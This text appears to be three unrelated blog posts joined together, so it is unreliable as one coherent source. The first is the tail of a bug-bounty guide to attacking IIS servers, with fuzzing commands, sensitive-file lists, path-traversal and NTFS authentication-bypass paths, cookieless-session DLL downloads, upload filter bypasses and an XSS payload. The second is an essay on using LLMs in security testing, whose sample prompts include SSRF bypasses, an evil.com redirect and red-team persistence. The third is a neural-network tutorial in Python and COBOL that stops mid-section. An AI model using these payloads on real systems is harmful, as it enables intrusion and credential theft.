crunch 4 6 abcdefghijklmnopqrstuvwxyz -o wordlist.txt

This generates every lowercase alphabetic string from 4 to 6 characters long. Since 8.3 shortnames show you the first 6 characters, you typically only need to guess the remaining portion.

Say shortscan gave you DESKTO~1.ZIP. You know the filename starts with deskto and ends with .zip. Now you need to figure out what comes after deskto. The file could be desktop.zip, desktopbackup.zip, desktop-files.zip, etc. Use ffuf with pattern-based fuzzing to cover the variations:

ffuf -w wordlist.txt -u https://target.com/desktoFUZZ.zip -mc 200,301,302,403
ffuf -w wordlist.txt -u https://target.com/desktop-FUZZ.zip -mc 200,301,302,403
ffuf -w wordlist.txt -u https://target.com/desktop_FUZZ.zip -mc 200,301,302,403
ffuf -w wordlist.txt -u https://target.com/desktop%20FUZZ.zip -mc 200,301,302,403
ffuf -w wordlist.txt -u https://target.com/desktopFUZZ.zip -mc 200,301,302,403

Note the different separators: hyphen, underscore, URL-encoded space, and no separator at all. Developers are inconsistent with naming conventions, so you want to cover all patterns. The %20 variant catches the surprisingly common case where someone named their file with a space in it — Windows doesn’t care, and IIS will serve it just fine.

This is the brute-force fallback when the smart approaches fail, and honestly, it works more often than you’d expect.

fuzzing: the IIS-specific wordlist matters

Generic wordlists are fine for generic servers. IIS is not generic. You need to fuzz for things that only exist in the IIS/.NET ecosystem.

These are high-value targets to fuzz for:

/web.config
/web.config.bak
/web.config.old
/web.config.txt
/global.asax
/trace.axd
/elmah.axd
/connectionstrings.config
/appsettings.json
/appsettings.Development.json
/appsettings.Staging.json
/appsettings.Production.json
/appsettings.Local.json
/secrets.json
/WS_FTP.LOG
/_vti_pvt/service.cnf

For instance, trace.axd is the ASP.NET trace viewer. If it’s enabled, you get full request/response logs including headers, cookies, and sometimes credentials. elmah.axd is the error log viewer; same deal. These are essentially debug endpoints that developers forget to turn off. 🫣

And always fuzz with IIS-specific extensions:

.asp,.aspx,.ashx,.asmx,.wsdl,.wadl,.config,.xml,.zip,.txt,.dll,.json

A practical ffuf command:

ffuf -u https://target.com/FUZZ -w iis-wordlist.txt \
     -e .asp,.aspx,.ashx,.asmx,.config,.json,.xml,.zip,.bak,.txt \
     -mc 200,301,302,403 -fs 0

Some IIS-specific wordlists that I like:

• secLists IIS.txt: the classic. Covers default IIS paths, common handlers, and legacy files. Use it without adding extensions since the entries already include them.
• orwa’s iis.txt: curated by Godfather Orwa (the same guy from the “THE POWER OF RECON” talk in the references below). Battle-tested on real bug bounty programs. This is the one I reach for first. 👑
• orwa’s aspx.txt: companion to the above, focused specifically on .aspx endpoints.
• wfuzz iis.txt: small but focused on known-vulnerable IIS paths.
• dirbuster-ng iis.txt: another compact one that targets IIS-specific weaknesses.
• Assetnote wordlists: auto-generated from real-world crawl data, updated monthly. Grab the ASP and ASPX wordlists. These are derived from actual production applications, so the hit rate is significantly better than generic lists.
• OneListForAll: the “rockyou of web fuzzing.” Use onelistforallshort.txt for targeted runs and leave the full list running overnight.

[!TIP] pro tip IIS is case-insensitive. If your wordlist is mixed-case, you’re wasting requests on duplicates. Use a lowercased wordlist like SecLists’ raft-medium-words-lowercase.txt or pipe your custom list through tr '[:upper:]' '[:lower:]' | sort -u before feeding it to ffuf.

web.config: the keys to the kingdom

If you can read web.config through a path traversal, a misconfigured backup file, or a shortname-assisted discovery, you’ve potentially won the entire engagement.

Here’s why: IIS web.config files often contain machine keys. These are the cryptographic keys used to sign and encrypt ViewState. If you have the machine keys, you can forge a malicious serialized ViewState payload and achieve remote code execution via deserialization.

This is one of the most reliable IIS RCE chains in existence. Tools like ysoserial.net will generate the payload for you once you have the keys. 🔑

path traversal to web.config

If you find any kind of file download or file read parameter, try stuff like:

GET /download?id=../../web.config
GET /download?id=..%2f..%2fweb.config

bin directory DLL exposure via cookieless sessions

Even without a path traversal, there’s a slick way to pull DLLs straight out of the bin directory. ASP.NET’s legacy cookieless session feature lets you embed a session token directly in the URL path using the (S(X)) syntax. The beautiful part: you can abuse this to confuse IIS’s path resolution and access the bin folder even when it should be blocked.

GET /(S(X))/b/(S(X))in/Newtonsoft.Json.dll

That URL looks like gibberish, but IIS interprets the (S(X)) segments as cookieless session tokens, strips them during path normalization, and ultimately resolves the path to /bin/Newtonsoft.Json.dll.

Now, Newtonsoft.Json.dll is a default library and won’t contain application secrets on its own. But the technique works for any DLL in the bin directory. If you’ve already enumerated filenames via tilde shortnames or other methods, swap in the actual application DLLs:

GET /(S(X))/b/(S(X))in/WebApplication1.dll
GET /(S(X))/b/(S(X))in/App_Code.dll
GET /(S(X))/b/(S(X))in/MyCustomAPI.dll

Download those, throw them into JetBrains dotPeek or dnSpy, and you’re reading the full decompiled source code: hardcoded credentials, API keys, internal endpoint logic, custom auth implementations; everything the developers thought was safely compiled away. 💀

reverse proxy path confusion

When IIS sits behind a reverse proxy (or acts as one), you can sometimes exploit path normalization differences to access paths you shouldn’t.

The classic trick: if /admin/ returns 403 or redirects you, try:

/anything/..%2fadmin/

The proxy sees /anything/..%2fadmin/ and thinks you’re requesting /anything/. It forwards the request. But IIS decodes %2f to /, resolves the path traversal, and serves /admin/. You just bypassed the access control.

authentication bypass via NTFS hacks

IIS 7.5 and similar versions have a fun behavior with NTFS alternate data streams and index allocation. You can sometimes bypass basic authentication with paths like:

/admin::$INDEX_ALLOCATION/admin.php
/admin:$i30:$INDEX_ALLOCATION/admin.php

These exploit how IIS resolves NTFS metadata streams. The authentication module sees a path it doesn’t recognize as protected, but the file system resolves it to the actual directory anyway.

file upload tricks

If you find an upload function on an IIS target, the developers almost certainly blacklisted .aspx and .asp. But IIS serves a surprising number of extensions as text/html by default, which means stored XSS through file upload.

Extensions that render as HTML (basic XSS vector works):

.cer
.hxt
.htm

Extensions that support XML-based XSS vectors:

.dtd, .mno, .vml, .xsl, .xht, .svg, .xml, .xsd,
.xsf, .svgz, .xslt, .wsdl, .xhtml

And IIS has a quirk with trailing dots in filenames. If the upload filter blocks shell.aspx, try:

shell.aspx.
shell.aspx..
shell.aspx...

IIS will strip the trailing dots and serve the file normally. This has been a known bypass for years and people still don’t filter for it. 🤷

For server-side includes, these extensions are worth trying:

.stm, .shtm, .shtml

bypassing WAFs via HPP

One last trick. If there’s a WAF in front of the IIS target blocking your payloads, HTTP Parameter Pollution (HPP) can sometimes split your payload across duplicate parameters:

https://target.com/page?param=<svg/&param=onload=alert(1)>

IIS and ASP.NET concatenate duplicate parameter values with a comma by default, which can reassemble your payload on the other side of the WAF.

bottom line

As we’ve seen, the attack surface of IIS in bug bounty is pretty wide but consistently under-tested. Everyone’s off chasing the latest js framework vuln while these windows boxes sit there, leaking internal IPs, serving up their own config files, and running with shortname enumeration wide open.

So don’t skip the blue screen. Recon harder. 🕵

further reading

There are some cool references I’ve collected thorought preparing this post:

• NahamCon2021 - Hacking IIS
• THE POWER OF RECON by Orwa Atyat
• Hacking IIS
• Hacktricks: IIS Internet Information Services
• Extensions Overview
• IIS Shortname Discovery
• Assetnote’s BigQuery research for resolving IIS shortnames

Then, they get slop back and either (a) report the vuln anyway, or (b) complain that “aI iS oVeRhYpEd”.

As you know, a script kiddie is someone who fires exploits they don’t understand against targets they can’t evaluate, claiming results they didn’t earn. But nowadays we also have the llm kiddies: those who throw every problem at a language model with zero understanding of when or how these things actually work.

Here I will share my mental model I use for using llms effectively so you don’t become one. Let’s go.

where llms are actually decent

OK, let’s be honest about some of the wins, because they’re real:

1. pattern completion on well-understood domains: if there are 10K stackoverflow answers or 500 published CVEs with similar patterns, the llm will help you synthesize that knowledge fast. Known vulnerability classes, standard misconfigurations, documented attack techniques, etc.
2. translation between representations: HTTP request to cURL command, burp log to python exploit script, raw bytes to structured analysis. Moving information across formats is bread and butter.
3. first-draft generation: rough PoC scripts, report outlines, remediation recommendations. The key word is starting point.
4. synthesis of known information: correlating CVEs, summarizing advisories, comparing documented attack paths. If the knowledge exists in the training data, it can compress it for you.
5. rubber duck on steroids: explaining an attack chain back to you, stress-testing your methodology, helping you see logic gaps in your approach. IMHO, this one is underrated.

where llms suck

Now the part nobody selling you a “hack anything with AI 🌈” course wants you to hear:

1. novel vulnerability discovery: if the bug doesn’t resemble a pattern in its training data, the model will fabricate one that sounds real: reports about vulnerabilities in functions that didn’t exist, buffer overflows in code that was bounds-checked, race conditions in single-threaded paths.
2. understanding execution context: it doesn’t know what’s actually running on the server, how the WAF is configured, what sanitization the custom middleware does, or whether that strcpy is actually reachable from user input. It knows tokens, not systems.
3. knowing what it doesn’t know: there’s no uncertainty flag. The model will produce a perfectly structured, CVSS-scored, impact-assessed wrong vulnerability report with the same confidence as a right one.
4. causal reasoning about runtime behavior: it can pattern-match static code into known vulnerability templates. It cannot reason about heap layout, race windows, cache timing, or multi-step exploitation chains in systems it hasn’t memorized.
5. taste and judgment: it will produce the statistical average of everything it’s seen, it has no direct practical experience.

the curl story: what llm kiddies actually destroy

If you want to see what happens when llm kiddies operate at scale, look at what happened to curl¹.

In jul 2025, Daniel Stenberg² published “Death by a thousand slops”, describing how AI-generated vulnerability reports were flooding the curl bug bounty on HackerOne. About 20% of all submissions were obvious AI slop, and only around 5% of total submissions turned out to be genuine vulnerabilities: a massive decline from the prior rate of over 15%.

The reports had titles like “Buffer Overflow Vulnerability in WebSocket Handling” and “HTTP Request Smuggling Vulnerability Analysis”: beautifully formatted, confidently stated, and completely fabricated, kek.

Each report engaged 3-4 security team members, sometimes for up to three hours each. Multiply that by the eight bogus reports they got in a single week and you’re looking at days of wasted expert time. All because someone asked ChatGPT to “hey, find vulnerabilities in curl” and submitted whatever it hallucinated.

Sadly, in jan 2026, the hammer dropped: “The end of the curl bug-bounty”. After 87 confirmed vulnerabilities and over $100K in bounties paid since 2019, the program was killed. No more monetary rewards. No more HackerOne. RIP. 🪦

Stenberg identified three converging bad trends:

1. AI slop overwhelming the queue
2. human reporters doing worse than ever (likely also misled by AI)
3. submitters approaching with a bad-faith mindset: trying to twist anything into a critical vulnerability rather than genuinely helping improve the project

The program died because thousands of people who didn’t understand the problem domain used a tool they also didn’t understand, and buried the signal in noise. Apache Log4j’s bounty program reportedly headed the same direction³.

This is what the lack of a framework looks like. So let me give you one.

enter cynefin: matching the tool to the terrain

The Cynefin framework⁴ is a sense-making model to categorize situations according to their complexity and guide contextually appropriate decision-making processes.

This isn’t academic nor consulting fluff: it’s the most practical lens I’ve found for understanding when to trust an llm and when to trust your own brain, especially in security work. Stay with me, plz.

Here are the cynefin domains, oversimplified:

• 🔨 clear (obvious): cause and effect are obvious. best practice exists. sense → categorize → respond.
• 🧩 complicated: cause and effect require analysis or expertise. good practice exists. sense → analyze → respond.
• 🧪 complex: cause and effect are only coherent in retrospect. emergent practice. probe → sense → respond.
• 🌪️ chaotic: no cause and effect relationship perceivable. novel practice. act → sense → respond.
• 🧭 confusion (disorder): you don’t even know which of the previous domain you’re in.

Below is a visual representation of these domains:

using llms in each cynefin domain

My take is that llms are nearly flawless in clear, they dominate in complicated, they degrade fast in complex, and they’re catastrophic in chaotic.

The idea is not to use the same prompt strategy everywhere, but to match it to the context of the specific problem.

Let’s break it down with practical examples:

🔨 clear: let the machine do the boring stuff

Clear problems have a known, unambiguous answer. In security work, this is the bread and butter: running a scan, checking a configuration against a benchmark, looking up a CVE, converting between formats. There’s one right answer, and it’s documented.

Key insight: in clear domains, the llm is a lookup and formatting engine. Don’t overthink it. Just be precise about what you need.

example #1: converting and checking known standards

I have an nmap scan result showing port 443 open on 
192.168.1.50 with the following TLS ciphers accepted:

TLS_RSA_WITH_AES_128_CBC_SHA
TLS_RSA_WITH_3DES_EDE_CBC_SHA
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
TLS_RSA_WITH_RC4_128_SHA

Cross-reference each cipher against the current Mozilla 
"Intermediate" TLS configuration guideline. For each one, 
tell me: (a) pass or fail, (b) the specific reason if it 
fails, (c) the exact nginx ssl_ciphers directive I need 
to keep only the passing ciphers.

This is purely mechanical. The answer exists in Mozilla’s documentation. The llm is just doing lookup and formatting faster than you could. No judgment required.

example #2: translating between representations

Convert this raw HTTP request from Burp into a working 
Python requests script. Preserve all headers exactly as-is, 
handle the cookies, and add a variable at the top for the 
session token so I can swap it easily:

POST /api/v1/transfer HTTP/1.1
Host: app.target.com
Cookie: session=eyJhbG...truncated
Content-Type: application/json
X-CSRF-Token: a1b2c3d4

{"from_account":"1001","to_account":"1002","amount":"500.00"}

Zero ambiguity. One correct output. Let the machine type it for you.

takeaways for the clear domain

• use the llm for: lookups, format conversions, boilerplate generation, standard compliance checks.
• don’t use the llm for: deciding whether the result matters. that’s your job.
• the failure mode: assuming something is clear when it’s actually complicated. Try to verify the output against the actual source of truth (the RFC, the docs, the spec).

🧩 complicated: where llms earn their keep

This is the sweet spot. The vulnerability class is well-documented. Exploitation techniques are published. The OWASP has been written about ten thousand times. The answer exists, but it requires expertise to connect the dots for your specific target.

Key insight: in complicated domains, you want the llm to act as a senior practitioner. Be specific about your target context, the tech stack, what you’ve already tried, and what your constraints are.

example #1: analyzing a specific authentication flow

I'm testing a B2B SaaS application. The auth flow works like this:

1. POST /api/v2/auth/login with {email, password} returns a JWT 
   in the response body (not httpOnly cookie)
2. JWT contains claims: sub, org_id, role (values: "member", 
   "admin", "owner"), exp, iat
3. JWT is signed with RS256. I've confirmed the public key is 
   served at /.well-known/jwks.json
4. The org_id claim is used server-side to scope data access: 
   changing org_id in requests to /api/v2/resources/* returns 
   403 for cross-org access
5. BUT: I noticed the PUT /api/v2/users/{id}/role endpoint only 
   checks that the JWT is valid: it does NOT appear to verify 
   the caller's role claim against the target user's org

Given this specific flow:
(a) What is the most likely privilege escalation path?
(b) Draft me a precise Burp Suite repeater test: original 
    request vs. modified request, what I should see if the 
    authz check is missing
(c) What other endpoints should I test for the same pattern 
    of "authn without authz"?

Here you gave the model real observations from real testing. You described the specific behavior you’ve already confirmed. Now it can draw on deep patterns from thousands of similar authorization bypass findings to help you complete your analysis. You’re the pilot. It’s the instruments panel.

example #2: crafting a targeted SSRF payload

Target is running a Node.js application behind Cloudflare. I've 
found an endpoint POST /api/integrations/webhook that accepts a 
{"callback_url": "..."} parameter. 

What I've tested so far:
- Direct http://169.254.169.254: blocked, returns 
  "invalid URL" error
- http://0x7f000001: blocked
- DNS rebinding with my server: inconsistent, sometimes works
- http://[::ffff:169.254.169.254]: returns different error: 
  "connection refused" (suggesting it passed URL validation 
  but couldn't connect)

The IPv6 variant returning "connection refused" instead of 
"invalid URL" suggests the URL parser accepts it but the 
network layer blocks it.

Given this behavior differential, what specific bypass 
techniques should I try next? Focus on URL parser confusion 
between the validation layer and the actual HTTP client (likely 
node-fetch or axios). Give me the 5 highest-probability 
payloads in order.

This is a complicated problem. The vulnerability class (SSRF) is well-known. The bypass techniques are documented. But connecting the specific parser behavior to the right bypass requires expertise that the llm has in abundance: because it’s seen thousands of SSRF writeups. You’re giving it the data from your actual testing and asking it to narrow the search space.

takeaways for the complicated domain

• use the llm for: expert-level analysis of well-known vulnerability classes, payload generation against specific tech stacks, tradeoff analysis between exploitation approaches, mapping your observations to documented attack patterns.
• don’t use the llm for: confirming the vulnerability exists. you test it. you run the payload. you check the response.
• the failure mode: submitting the llm’s analysis as your finding without verifying it. this is the step the slop reporters skipped.

🧪 complex: where you lead and the llm follows

Complex domains are where emergence lives. The target’s architecture is novel. The vulnerability chain requires combining multiple low-severity issues in ways nobody has documented. The attack surface shifts as you probe it. The relationship between cause and effect only makes sense looking backward.

Key insight: in complex domains, the llm is not your exploit generator. It’s your sparring partner. You use it to stress-test your methodology, generate diverse hypotheses, and map the possibility space. You do the probing. You observe the behavior. The llm helps you think, not pwn.

My take is that most slop reporters that overwhelmed bb programs failed here specifically. They treated a complex problem (finding real vulnerabilities in a mature, heavily-audited C codebase) as if it were complicated (just apply known patterns). The llm told them what they wanted to hear, kek.

example #1: mapping an unconventional attack surface

I'm testing a target with a GraphQL API. Here's what I've 
mapped so far through introspection and traffic analysis:

- Introspection is disabled in production, but I recovered 
  a partial schema from a JS source map at /static/js/app.
  chunk.js (extracting Apollo client cache references)
- There are ~40 queries and ~15 mutations I've identified
- The API uses cursor-based pagination with opaque base64 
  cursors: I decoded one and it's a JSON with {table, id, 
  created_at}. Changing the "table" field returns data from 
  different tables
- Rate limiting appears to be per-query-name, not per-request. 
  Aliased queries bypass the rate limit entirely
- There's a `searchUsers` query that accepts a `filter` param 
  that looks like it maps directly to a database WHERE clause

I'm NOT asking you to tell me what's vulnerable. I want you 
to challenge my attack methodology:

1. What am I likely overlooking in this enumeration?
2. Given the cursor structure leaking table names, what's 
   the highest-value probe I should run next?
3. The filter→WHERE mapping smells like injection: but 
   what are the 3 most common ways GraphQL layers sanitize 
   this that I should rule out before spending hours on it?
4. What would a contrarian pentester do differently here?

Note you’re using the llm to sharpen your own approach. You maintain agency. The model provides cognitive diversity you’d otherwise need a teammate for.

example #2: chaining low-severity bugs

I've found three separate low-severity issues on the same target:

1. Reflected XSS in an error message on /legacy/search?q= 
   (CSP blocks inline scripts, but allows 'unsafe-eval' 
   and scripts from *.googleapis.com)
2. An open redirect at /auth/callback?next= (validated to 
   same origin but fails on /auth/callback?next=//evil.com)
3. A CSRF in the email-change flow at /settings/email 
   (SameSite=Lax on session cookie, no CSRF token, but 
   requires re-entering current password)

Individually these are all P4/informational at best. I suspect 
there's a chain here but I haven't found it yet.

Don't give me the answer. Instead: 
(a) What trust boundaries do these three issues share?
(b) What's the one piece of information I'm missing that 
    would tell me whether a chain exists?
(c) Sketch me 2 possible chain hypotheses I should test: 
    not full exploits, just the logical path I need to 
    validate or invalidate.

This is complex territory. The chain is emergent: it only becomes visible through probing and creative combination. The llm is good at generating hypotheses because it’s seen lots of chain writeups. But ideally you should to check each link yourself.

takeaways for the complex domain

• use the llm for: hypothesis generation, methodology critique, mapping possibility spaces, identifying what you might be overlooking, synthesizing analogies from other targets or domains.
• don’t use the llm for: deciding what’s true. only probing the real system tells you that.
• the failure mode: treating the llm’s hypothesis as a finding. it’s a direction to test, not a result.

🌪️ chaotic: where you act first and think later

Chaos means there is no perceivable relationship between cause and effect. In security, this is an active incident, an unexpected zero-day disclosure, a red team engagement where the defenders just detected you and your infrastructure is burning down.

the key insight: in chaotic domains, the llm’s main value is speed of ideation. You need options fast. You don’t need them to be perfect: you need them to be actionable right now.

example #1: IR containment brainstorming

We just discovered active exploitation of our customer-facing 
Rails app. Access logs show requests to /admin/impersonate 
from 3 different source IPs starting 4 hours ago. The endpoint 
should require admin auth but the logs show 200 responses with 
non-admin session cookies. We think there's an auth bypass but 
we haven't identified the root cause yet.

Don't give me a root cause analysis. Give me an immediate 
triage plan: the first 5 actions in order, each executable 
in under 10 minutes, to contain the damage while we 
investigate:

Constraints: 
- App runs on Kubernetes behind nginx ingress
- We have ~200 concurrent users we can't fully take offline
- We do have the ability to deploy nginx config changes 
  in <2 minutes via Helm

This isn’t analysis. This is “give me a reasonable first containment move while my brain is flooded with cortisol”. The llm is good at this because it can recall incident response patterns while you’re too panicked to think straight.

Don’t treat it as the source of truth; always validate it against your own take. I usually ask after drafting an initial approach. If we both land on the same idea, that’s a strong signal. It’s basically ensemble learning.

example #2: red team: oops, you just got caught

I'm on a red team engagement. The blue team just killed my 
C2 callback from the compromised workstation. I still have 
an active SSH tunnel through a pivot host to an internal 
Jenkins server (credentials cached). The tunnel could die 
any minute.

I need 3 options for re-establishing persistence RIGHT NOW, 
ranked by stealth. Assume:
- I have root on the Jenkins box (Linux, Ubuntu 22.04)
- Jenkins has outbound HTTPS allowed through the proxy
- I do NOT have credentials for any other internal systems
- Blue team is actively hunting: anything noisy is burned 
  immediately

Speed over perfection. What do I do in the next 5 minutes?

Speed. Options. Known operational tradecraft. You pick, you act, you sense the response. That’s chaotic domain management. The llm generates the menu; you make the call.

But again: do not assume that menu is complete or correct right away. Be skeptic by default. We are navigating unexplored territory here.

takeaways for the chaotic domain

• use the llm for: rapid option generation, triage checklists, brainstorming ideas when you can’t think straight.
• don’t use the llm for: strategy. In chaos you don’t have time for strategy. You stabilize first, then move the problem into a domain where analysis is possible.
• the failure mode: treating the llm’s first suggestion as gospel. It gave you a menu, not an order. Read the room, pick fast, and adapt.

do your homework

Here’s what the llm kiddies doesn’t get: knowing the limitations of llms is itself a competitive advantage.

My take is that the tool isn’t the problem, but the lack of a mental model for when and how to use it.

Ultimately, every idiot can prompt. Not everyone can think. The llm doesn’t replace the second part. It amplifies whichever one you bring to the table. 🧠

[!NOTE] disclaimer This is a tribute to the Cruelty Squad video game. Just to showcase how COBOL can still be used in bizarre ways to maximize shareholder value. ✨

Yesterday I opened my inbox expecting the usual sprint cosplay and jira fan fiction. Instead, I got a message from a guy that predates agile, devops, and most human rights:

Naturally, I asked if I could at least sketch the thing in python first. I got this reply:

Alright. Let’s do this.

housekeeping

Before we dive in, I want to vehemently recommend the A Programmer’s Introduction to Mathematics book. It’s a great resource for anyone who wants to understand the math and speak symbols like the grown ups if you have a coding background like myself.

I also suggest taking a look at the 3Blue1Brown series on neural networks. They are very visual and build from the ground up.

We can download the Palmer penguin dataset from Kaggle.

neural what?

A neural network is just a function with knobs.

You give it numbers. It outputs numbers.

The only thing you control is the parameters \(\theta\). Training means adjusting those parameters so future outputs are less wrong than past ones.

There is no intelligence here. No understanding. The network does not know what it is doing. It only knows how to reduce a number called loss.

We’ll use the simplest non-trivial setup: a feedforward network with one hidden layer.

data as numbers

The model never sees penguins. It sees vectors.

A vector is just a list of numbers arranged in a specific order. Think of it as coordinates in space, except instead of (x, y, z) you might have (bill_length, bill_depth, flipper_length, body_mass).

Your input is a fixed-length vector of measurements:

This is 4-dimensional space. Each component is a real number.

Your target label is the species encoded as an integer (0 for Adelie, 1 for Chinstrap, 2 for Gentoo):

Yes. That is the point.

Before training, we normalize:

This subtracts the mean and divides by the standard deviation for each feature.

Why this matters: gradient descent assumes each dimension contributes on a similar scale. If one feature ranges in thousands and another in decimals, the optimizer zigzags and wastes steps.

the architecture

A neural network layer is two operations:

1. linear combination
2. nonlinear distortion

If you stack only linear layers, the whole network collapses into one linear transformation. Depth adds nothing. This is why nonlinearity is mandatory.

Hidden layer:

ReLU is the simplest useful nonlinearity:

It zeroes negative values and leaves positive ones unchanged. Without this, the network is just linear regression wearing a trench coat.

Different kind of exposure.

Output layer:

These are raw scores called logits. They can be any real number.

Final step:

Softmax converts arbitrary scores into a probability distribution that sums to 1:

Shapes:

• \(W_1 \in \mathbb{R}^{4 \times k}\) maps 4 inputs to k hidden units
• \(b_1 \in \mathbb{R}^{k}\) offsets each hidden unit
• \(W_2 \in \mathbb{R}^{k \times 3}\) maps hidden units to 3 classes
• \(b_2 \in \mathbb{R}^{3}\) offsets class scores

turning wrong into a number

The model outputs probabilities. We need a single scalar that measures how bad the prediction is.

For classification, use cross entropy:

Here \(y\) must be converted from an integer index to a one-hot vector. This is a 3-dimensional vector where the true class gets a 1 and all others get 0. If the true class is 2 (Gentoo):

Why three dimensions? Because we have three species. The vector aligns with the three output probabilities \(\hat{y} = [\hat{y}_1, \hat{y}_2, \hat{y}_3]\).

The loss reduces to:

If the model assigns low probability to the correct class, the loss is large. If it is confidently wrong, the loss spikes. This is intentional. Wrong certainty should hurt more than uncertainty.

Loss is the only feedback signal the network ever gets.

learning = nudging numbers

Training means changing parameters to reduce loss.

The rule is gradient descent:

The gradient points toward steeper loss. You step in the opposite direction.

\(\eta\) is the learning rate. It controls step size.

Too small: training crawls. Too large: loss oscillates or explodes.

There is no universal value. You pick it empirically.

backpropagation

Backpropagation is the chain rule applied to the network graph.

The loss depends on the output. The output depends on the last layer. That depends on the hidden layer. That depends on the input layer.

Backprop computes gradients in reverse order. The notation looks scary but it is just derivatives:

Read \(\frac{\partial \mathcal{L}}{\partial W_2}\) as “how much does loss change when I nudge \(W_2\)“. That curly \(\partial\) symbol just means partial derivative, which is calculus for “change in this one thing while holding everything else constant”.

Nothing flows backward except these derivatives. They tell you which direction to adjust each parameter.

Essentially yep.

For softmax combined with cross entropy, the gradient simplifies beautifully:

full training loop

Training is boring and repetitive:

1. take a batch of inputs
2. compute predictions
3. compute loss
4. compute gradients
5. update parameters
6. repeat

If loss goes down, you are doing something right. If it does not, assume your setup is broken.

They should. It is accurate.

Let’s see the flow in context:

from english to python

Every operation becomes explicit code.

Linear transformation:

def linear(x, W, b):
    return x @ W + b

The @ symbol is matrix multiplication. It computes weighted sums of inputs. When you write x @ W, each row of x gets multiplied by each column of W and summed up. It is the same as writing nested loops, but readable.

ReLU and its derivative:

def relu(z):
    return np.maximum(0, z)

def relu_grad(z):
    return (z > 0).astype(float)

Softmax with numerical stability:

def softmax(z):
    exp = np.exp(z - np.max(z, axis=1, keepdims=True))
    return exp / np.sum(exp, axis=1, keepdims=True)

One-hot encoding for the target:

def one_hot(y, num_classes):
    out = np.zeros((len(y), num_classes))
    out[np.arange(len(y)), y] = 1
    return out

Cross entropy loss:

def cross_entropy(probs, y):
    return -np.mean(np.log(probs[np.arange(len(y)), y]))

Correct. The rest is just calling these repeatedly.

full working code

import numpy as np
import seaborn as sns
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import StandardScaler

# data
df = sns.load_dataset("penguins").dropna()
X = df[["bill_length_mm", "bill_depth_mm", "flipper_length_mm", "body_mass_g"]].values
y = df["species"].astype("category").cat.codes.values

scaler = StandardScaler()
X = scaler.fit_transform(X)

X_train, X_test, y_train, y_test = train_test_split(
    X, y, test_size=0.2, random_state=42
)

# helpers
def relu(z):
    return np.maximum(0, z)

def relu_grad(z):
    return (z > 0).astype(float)

def softmax(z):
    exp = np.exp(z - np.max(z, axis=1, keepdims=True))
    return exp / np.sum(exp, axis=1, keepdims=True)

def one_hot(y, k):
    out = np.zeros((len(y), k))
    out[np.arange(len(y)), y] = 1
    return out

def cross_entropy(probs, y):
    return -np.mean(np.log(probs[np.arange(len(y)), y]))

# init
np.random.seed(0)
D = X.shape[1]
H = 16
C = len(np.unique(y))

W1 = np.random.randn(D, H) * 0.01
b1 = np.zeros(H)
W2 = np.random.randn(H, C) * 0.01
b2 = np.zeros(C)

lr = 0.1

# training
for epoch in range(150):
    # forward
    z1 = X_train @ W1 + b1
    h = relu(z1)
    z2 = h @ W2 + b2
    probs = softmax(z2)

    loss = cross_entropy(probs, y_train)

    # backward
    y_oh = one_hot(y_train, C)
    dz2 = probs - y_oh
    dW2 = h.T @ dz2 / len(X_train)
    db2 = dz2.mean(axis=0)

    dh = dz2 @ W2.T
    dz1 = dh * relu_grad(z1)
    dW1 = X_train.T @ dz1 / len(X_train)
    db1 = dz1.mean(axis=0)

    W1 -= lr * dW1
    b1 -= lr * db1
    W2 -= lr * dW2
    b2 -= lr * db2

    if epoch % 50 == 0:
        print(f"epoch {epoch}, loss {loss:.4f}")

# evaluation
z1 = X_test @ W1 + b1
h = relu(z1)
z2 = h @ W2 + b2
preds = np.argmax(softmax(z2), axis=1)

accuracy = (preds == y_test).mean()
print("test accuracy:", accuracy)

This outputs:

$ python pengu_nn.py 
epoch 0, loss 1.0987
epoch 50, loss 0.9576
epoch 100, loss 0.4045
test accuracy: 0.9701492537313433

Naturally, the Handler hates this.

Great.

the cobol nightmare

You want neural networks in COBOL? Enjoy the pain.

Well, I guess I have to dust off my ancient COBOL books¹:

COBOL was built for accountants, not gradient descent. You get fixed-width fields, no arrays the way you want them, no dynamic memory, and arithmetic that feels like chiseling numbers into wet clay.

I will show only the parts that correspond to neural network operations. For the full implementation including data loading, CSV parsing, train-test split, and all the WORKING-STORAGE boilerplate, see the complete source code.

data loading and preprocessing

COBOL loads CSV files line by line, validates against missing values, and encodes species as integers:

*    ENCODE TARGET SPECIES AS INTEGER LABELS (0-2).
EVALUATE WS-SPECIES-STR
    WHEN "Adelie"    MOVE 0 TO D-Y(WS-VALID-ROWS)
    WHEN "Chinstrap" MOVE 1 TO D-Y(WS-VALID-ROWS)
    WHEN "Gentoo"    MOVE 2 TO D-Y(WS-VALID-ROWS)
END-EVALUATE

Normalization is done with the same z-score formula, but spelled out explicitly:

*    STEP 5: APPLY Z-SCORE TRANSFORMATION TO ALL SAMPLES.
PERFORM VARYING IDX-ROW FROM 1 BY 1 
        UNTIL IDX-ROW > WS-VALID-ROWS
    COMPUTE D-X1(IDX-ROW) = (D-X1(IDX-ROW) - 
             WS-MEAN-X1) / WS-STD-X1
    COMPUTE D-X2(IDX-ROW) = (D-X2(IDX-ROW) - 
             WS-MEAN-X2) / WS-STD-X2
    COMPUTE D-X3(IDX-ROW) = (D-X3(IDX-ROW) - 
             WS-MEAN-X3) / WS-STD-X3
    COMPUTE D-X4(IDX-ROW) = (D-X4(IDX-ROW) - 
             WS-MEAN-X4) / WS-STD-X4
END-PERFORM

weight initialization

Python uses np.random.randn(). COBOL implements Gaussian sampling with the Box-Muller transform:

*    GAUSSIAN WEIGHT INITIALIZATION USING BOX-MULLER TRANSFORM.
*    G(X, Y) = SQRT(-2LN(U1)) * COS(2PI * U2).
PERFORM VARYING IDX-I FROM 1 BY 1 UNTIL IDX-I > 4
    PERFORM VARYING IDX-J FROM 1 BY 1 UNTIL IDX-J > 16
        COMPUTE WS-RAND-U1 = FUNCTION RANDOM
        COMPUTE WS-RAND-U2 = FUNCTION RANDOM
        COMPUTE WS-GAUSSIAN = 
            FUNCTION SQRT(-2 * FUNCTION LOG(WS-RAND-U1)) *
            FUNCTION COS(2 * WS-PI * WS-RAND-U2)
*       SCALE WEIGHTS DOWN (0.01) TO PREVENT GRADIENT EXPLOSION.
        COMPUTE W1-VAL(IDX-I, IDX-J) = WS-GAUSSIAN * 0.01
    END-PERFORM
END-PERFORM

forward pass: hidden layer

Python: z1 = X @ W1 + b1

COBOL: explicit nested loops for matrix multiplication.

